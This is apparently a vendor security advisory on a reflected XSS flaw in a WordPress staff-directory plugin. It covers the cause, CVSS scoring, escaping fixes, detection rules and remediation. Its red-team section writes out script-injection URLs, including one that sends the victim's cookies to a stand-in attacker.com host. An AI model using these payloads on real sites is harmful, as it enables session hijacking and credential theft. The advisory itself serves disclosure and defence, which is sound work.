CVE-2024-13839

Executive Summary

CVE-2024-13839 is a Reflected Cross-Site Scripting (XSS) vulnerability found in the Staff Directory Plugin: Company Directory plugin for WordPress, affecting all versions up to and including 4.3. The vulnerability stems from the insecure use of add_query_arg without proper escaping on the URL, allowing unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to potential session hijacking, credential theft, or defacement within the WordPress ecosystem. The CVSS score is 6.1 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a WordPress ecosystem component, it is not managed through NPM, PyPI, Go, or Ruby package managers. Users should monitor the plugin’s official page for updates and consider temporary deactivation if no patch is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated exploitation.
• User Interaction (UI): Required (R) – Victim must click a link.
• Scope (S): Changed (C) – Impact extends beyond vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited data modification.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of authentication and potential for phishing campaigns makes it a viable vector for targeted attacks.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s use of add_query_arg to construct URLs without proper output escaping. In WordPress, add_query_arg builds a URL by appending query parameters. When user-supplied input (e.g., via $_SERVER['REQUEST_URI'] or $_GET parameters) is passed to add_query_arg without sanitization, an attacker can inject malicious JavaScript code into the generated URL. This injected script is then reflected back to the user’s browser when the link is clicked, executing in the context of the vulnerable WordPress site.

The core issue is the lack of esc_url() or esc_attr() on the output of add_query_arg. For example, a vulnerable code snippet might look like:

$url = add_query_arg( 'page', $_GET['page'], admin_url( 'admin.php' ) );
echo '<a href="' . $url . '">Link</a>';

An attacker could craft a URL like:

http://target.com/wp-admin/admin.php?page=<script>alert('XSS')</script>

When the victim clicks the link, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.3):

// Example vulnerable pattern
$current_url = add_query_arg( null, null );
echo '<a href="' . $current_url . '">Back</a>';

Here, add_query_arg with null parameters returns the current URL without escaping, allowing injection.

Patched Code (Hypothetical):

// Properly escaped version
$current_url = esc_url( add_query_arg( null, null ) );
echo '<a href="' . $current_url . '">Back</a>';

The esc_url() function sanitizes the URL, stripping malicious characters and preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual proof-of-concept can be constructed:

1. Craft the malicious URL:

   http://target.com/wp-admin/admin.php?page=<script>alert(document.cookie)</script>
   

2. Deliver via phishing: Send the link to an authenticated admin user.
3. Execute: When the admin clicks, the script runs, potentially exfiltrating session cookies or performing actions on their behalf.

Example payload for cookie theft:

http://target.com/wp-admin/admin.php?page=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>

Blue Team (Defense)

• Web Application Firewall (WAF): Block requests containing <script> tags in query parameters.
• Input Validation: Ensure all user-supplied data is sanitized before use in URLs.
• Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
• User Education: Train users to avoid clicking suspicious links, especially those with unusual query strings.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin.php with page parameter containing <script> tags.
  • Outbound connections to attacker-controlled domains from the WordPress admin interface.
• Host IOCs:
  • Unexpected JavaScript code in server logs (e.g., alert, document.cookie).
  • Modified WordPress admin pages with injected scripts.
• Log IOCs:
  • Access logs showing page=<script> patterns.
  • Error logs with XSS-related warnings.

Detection Engineering

YARA Rule

rule CVE_2024_13839_XSS {
    meta:
        description = "Detects reflected XSS attempts against Staff Directory Plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13839"
    strings:
        $xss1 = /page=<script[^>]*>.*<\/script>/i
        $xss2 = /page=.*%3Cscript%3E.*%3C\/script%3E/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Staff Directory Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the page parameter targeting the Staff Directory plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        c-uri|contains: '/wp-admin/admin.php'
        cs-uri-query|contains: 'page='
        cs-uri-query|re: 'page=<script[^>]*>.*<\/script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13839 Reflected XSS in Staff Directory Plugin"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page="; http_uri; pcre:"/page=<script[^>]*>.*<\/script>/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Deactivate the Staff Directory Plugin until a patch is released.
2. Patch: Apply the official update from the WordPress plugin repository when available.
3. Workaround: Manually escape all add_query_arg outputs using esc_url() in the plugin’s code.
4. WAF Rules: Block query strings containing <script> or %3Cscript%3E.
5. CSP Header: Add Content-Security-Policy: script-src 'self' to prevent inline scripts.
6. Monitor: Review access logs for suspicious page parameter values.

Valters IT – Securing the digital frontier.